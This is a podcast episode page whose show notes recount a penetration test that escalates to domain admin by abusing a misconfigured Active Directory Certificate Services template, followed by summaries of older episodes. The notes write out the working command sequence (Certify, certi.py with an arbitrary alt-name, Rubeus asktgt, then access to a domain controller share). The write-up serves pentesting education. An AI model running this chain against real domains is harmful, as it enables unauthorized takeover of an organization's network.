7MS #501: Tales of Pentest Pwnage - Part 31
7 Minute Security29 Dec 2021

7MS #501: Tales of Pentest Pwnage - Part 31

Today we're closing down 2021 with a tale of pentest pwnage - this time with a path to DA I had never had a chance to abuse before: Active Directory Certificate Services! For the full gory details on this attack path, see the Certified Pre-Owned paper from the SpecterOps crew. The TLDR/TLDL version of how I abused this path is as follows:

Run Certify.exe find /vulnerable, and if you get some findings, review the Certified Pre-Owned paper and the Certify readme file for guidance on how to exploit them. In my case, the results I got from Certify showed:

msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT

Reading through the Certify readme, I learned "This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA)." The Certify readme file walks you through how to attack this config specifically, but I had some trouble running all the tools from my non-domain-joined machine. So I used a combination of Certify and Certi to get the job done. First I started on Kali with the following commands:

sudo python3 /opt/impacket/examples/getTGT.py 'victimdomain.domain/MYUSER:MYPASS' export KRB5CCNAME=myuser.cache sudo python3 ./certi.py req 'victimdomain.domain/MYUSER@FQDN.TO.CERT.SERVER' THE-ENTERPRISE-CA-NAME -k -n --alt-name DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE --template VULNERABLE-TEMPLATE NAME

From that you will get a .pfx file which you can bring over to your non-domain-joined machine and do:

rubeus.exe purge rubeus.exe asktgt /user:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE /certificate:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE@victim.domain.pfx /password:PASSWORD-TO-MY-PFX-FILE /domain:victimdomain.domain /dc:IP.OF.DOMAIN.CONTROLLER

And that's it! Do a dir \\FQDN.TO.DOMAIN.CONTROLLER\C$ and enjoy your new super powers!

Avsnitt(704)

7MS #119: Migrating from Tumblr to Ghost-Part 1

7MS #119: Migrating from Tumblr to Ghost-Part 1

In this episode I talk about my adventures in moving my brianjohnson.tv Tumblr content over to a Digital Ocean hosted droplet running Ghost. I think you'll want to check this episode out, because in part 2 I talk about the challenges I faced in hosting multiple Ghost instances on one DI droplet. I will also be talking about how to enable CloudFlare SSL (for free!) as well as enabling Fail2Ban to keep annoying people/IPs from brute forcing your SSH root account!

17 Dec 20158min

7MS #118: Should Phishing be Fair?

7MS #118: Should Phishing be Fair?

This episode discusses an important and rhetorical (to me) infosec question: Should phishing campaigns be "fair?"

15 Dec 20157min

7MS #117: OFFTOPIC-Alive Inside

7MS #117: OFFTOPIC-Alive Inside

Today I talk about one of the most moving films I've ever seen - a documentary called Alive Inside.

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7MS #116: Tips for a Succesful Vulnerability Scan

7MS #116: Tips for a Succesful Vulnerability Scan

In this episode I complain about getting stuck in NY for two days, and also how to efficiently scan for vulnerabilities when your time is crunched.

8 Dec 201514min

7MS #115: OFFTOPIC-Love and Mercy

7MS #115: OFFTOPIC-Love and Mercy

We're going off-topic today and talking about the new(ish) movie about Brian Wilson's life called Love and Mercy.

4 Dec 20157min

7MS #114: PCI Pentesting 101-Part 3

7MS #114: PCI Pentesting 101-Part 3

Part 3 on my series about PCI pentesting. Yeah. That.

2 Dec 20157min

7MS #113: Big Bag of Random Security Stuff

7MS #113: Big Bag of Random Security Stuff

Yep, this episode is EXACTLY what the title implies.

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7MS #112: This is Sparta!

7MS #112: This is Sparta!

This episode is about one of my favorite enumeration tools called Sparta - it's built right into Kali 2. And maybe it was in Kali 1 and I totally missed it. But whatevs. I'm happy to have found it now!

25 Nov 20158min

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